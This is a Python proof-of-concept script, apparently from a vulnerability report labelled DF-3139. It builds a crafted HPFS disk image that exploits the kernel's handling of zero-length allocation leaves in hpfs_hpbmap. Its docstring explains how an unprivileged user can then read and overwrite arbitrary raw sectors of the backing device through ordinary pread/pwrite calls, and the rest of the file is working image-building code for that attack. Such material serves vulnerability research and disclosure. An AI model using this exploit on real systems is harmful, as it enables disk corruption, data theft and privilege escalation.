DF-3139 / craft_img.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 | #!/usr/bin/env python3 """ DF-3139 — crafted HPFS image: file FILE whose root AlBlk contains a single zero-length alleaf {al_off:0x1000, al_len:0, al_lsn:0x10}. sys/vfs/hpfs/hpfs_alsubr.c:118-119 hpfs_hpbmap: if ((bn >= alp->al_off) && (!alp->al_len || (bn < alp->al_off + alp->al_len))) { ... *bnp = bn - alp->al_off + alp->al_lsn; (:122) al_len == 0 is treated as "extent extends to infinity", so EVERY file block number bn >= al_off maps to raw disk sector al_lsn + (bn - al_off) on the device backing the filesystem (h_devvp). With al_off/al_lsn fully crafted: pread(fd, buf, 512, lbn*512) -> returns the raw bytes of ANY sector (here: the superblock at sector 0x10 and the bitmap-dir sector 0x30) to an unprivileged reader; pwrite(fd, ...same offset...) -> OVERWRITES that raw sector (here: sector 0x30) — sectors the file owns none of (its declared allocation is ZERO blocks). On a real multi-slice disk this is an arbitrary-raw-sector read/write primitive relative to the whole device (disklabel, other slices), from a plain unprivileged pwrite(2)/pread(2) on a file inside the mounted crafted image. """ import struct, sys SECTOR = 512 IMGSEC = 0x1000 # 2 MB device; su_btotal = 0x1000 SU_MAGIC = 0xFA53E9C5F995E849 SP_MAGIC = 0xFA5229C5F9911849 FN_MAGIC = 0xF7E40AAE D_MAGIC = 0x77E40AAE FN_OFF_MAGIC, FN_OFF_NAMELEN, FN_OFF_NAME = 0x00, 0x10, 0x11 FN_OFF_PARENT, FN_OFF_FLAG, FN_OFF_AB, FN_OFF_ABD, FN_OFF_SIZE = \ 0x20, 0x3B, 0x3C, 0x44, 0xA4 AB_OFF_FLAG, AB_OFF_FREECNT, AB_OFF_BUSYCNT, AB_OFF_FREEOFF = 0, 4, 5, 6 AL_OFF, AL_LEN, AL_LSN = 0x1000, 0, 0x10 # the poisoned leaf FN_SIZE = 0x400000 # 4 MB file (>= tested offsets) def build(outpath): img = bytearray(IMGSEC * SECTOR) def wr32(o, v): struct.pack_into('<I', img, o, v & 0xFFFFFFFF) def wr64(o, v): struct.pack_into('<Q', img, o, v & 0xFFFFFFFFFFFFFFFF) def wr16(o, v): struct.pack_into('<H', img, o, v & 0xFFFF) def wr8(o, v): img[o] = v & 0xFF img[0] = 0xEB wr16(SECTOR - 2, 0xAA55) su = 0x10 * SECTOR wr64(su + 0, SU_MAGIC); wr8(su + 8, 2) wr32(su + 12, 0x20) # su_rootfno wr32(su + 16, IMGSEC) # su_btotal wr32(su + 20, 0) wr32(su + 24, 0x30); wr32(su + 28, 0x30) wr64(0x11 * SECTOR, SP_MAGIC) wr32(0x30 * SECTOR, 0x38) # bitmap dir -> first bitmap sector bm = 0x38 * SECTOR for i in range(IMGSEC): # everything marked busy; no b = bm + (i >> 3) # allocation happens on this path if b < len(img): img[b] &= ~(1 << (i & 7)) rf = 0x20 * SECTOR wr32(rf + FN_OFF_MAGIC, FN_MAGIC) wr8(rf + FN_OFF_NAMELEN, 1); img[rf + FN_OFF_NAME] = ord('.') wr32(rf + FN_OFF_PARENT, 0x20) wr8(rf + FN_OFF_FLAG, 1) # VDIR img[rf + FN_OFF_AB + AB_OFF_FLAG] = 0 img[rf + FN_OFF_AB + AB_OFF_FREECNT] = 7 img[rf + FN_OFF_AB + AB_OFF_BUSYCNT] = 1 wr16(rf + FN_OFF_AB + AB_OFF_FREEOFF, 8 + 12) wr32(rf + FN_OFF_ABD + 0, 0); wr32(rf + FN_OFF_ABD + 4, 1) wr32(rf + FN_OFF_ABD + 8, 0x40) wr32(rf + FN_OFF_SIZE, 4 * SECTOR) db = 0x40 * SECTOR wr32(db + 0, D_MAGIC); wr32(db + 4, 0x50); wr32(db + 8, 0) wr32(db + 12, 0x20); wr32(db + 16, 0x40) name = b'FILE' dep = db + 20 reclen = ((0x2f + len(name)) + 3) & ~3 wr16(dep + 0x00, reclen); wr16(dep + 0x02, 0) wr32(dep + 0x04, 0x48) wr64(dep + 0x08, 0); wr32(dep + 0x10, 0x10000) wr64(dep + 0x18, 0); wr64(dep + 0x20, 0); wr32(dep + 0x28, 0) img[dep + 0x2e] = len(name) for i, c in enumerate(name): img[dep + 0x2f + i] = c dep2 = dep + reclen wr16(dep2 + 0x00, 4 * SECTOR - (dep2 - db)) wr16(dep2 + 0x02, 0x08) wr32(db + 4, (dep2 + 4) - db) ff = 0x48 * SECTOR wr32(ff + FN_OFF_MAGIC, FN_MAGIC) wr32(ff + FN_OFF_PARENT, 0x20) wr8(ff + FN_OFF_NAMELEN, 4) img[ff + FN_OFF_NAME:ff + FN_OFF_NAME + 4] = b'FILE' wr8(ff + FN_OFF_FLAG, 0) # VREG # root alblk = single LEAF with al_len == 0 -> infinite extent img[ff + FN_OFF_AB + AB_OFF_FLAG] = 0 img[ff + FN_OFF_AB + AB_OFF_FREECNT] = 7 img[ff + FN_OFF_AB + AB_OFF_BUSYCNT] = 1 wr16(ff + FN_OFF_AB + AB_OFF_FREEOFF, 8 + 12) wr32(ff + FN_OFF_ABD + 0, AL_OFF) wr32(ff + FN_OFF_ABD + 4, AL_LEN) # 0 == "infinite" wr32(ff + FN_OFF_ABD + 8, AL_LSN) # base raw sector for the mapping wr32(ff + FN_OFF_SIZE, FN_SIZE) with open(outpath, 'wb') as f: f.write(img) print("wrote %s: %d sectors; leaf {al_off=0x%x, al_len=0, al_lsn=0x%x}" % (outpath, IMGSEC, AL_OFF, AL_LSN)) if __name__ == '__main__': build(sys.argv[1] if len(sys.argv) > 1 else 'df3139.img') |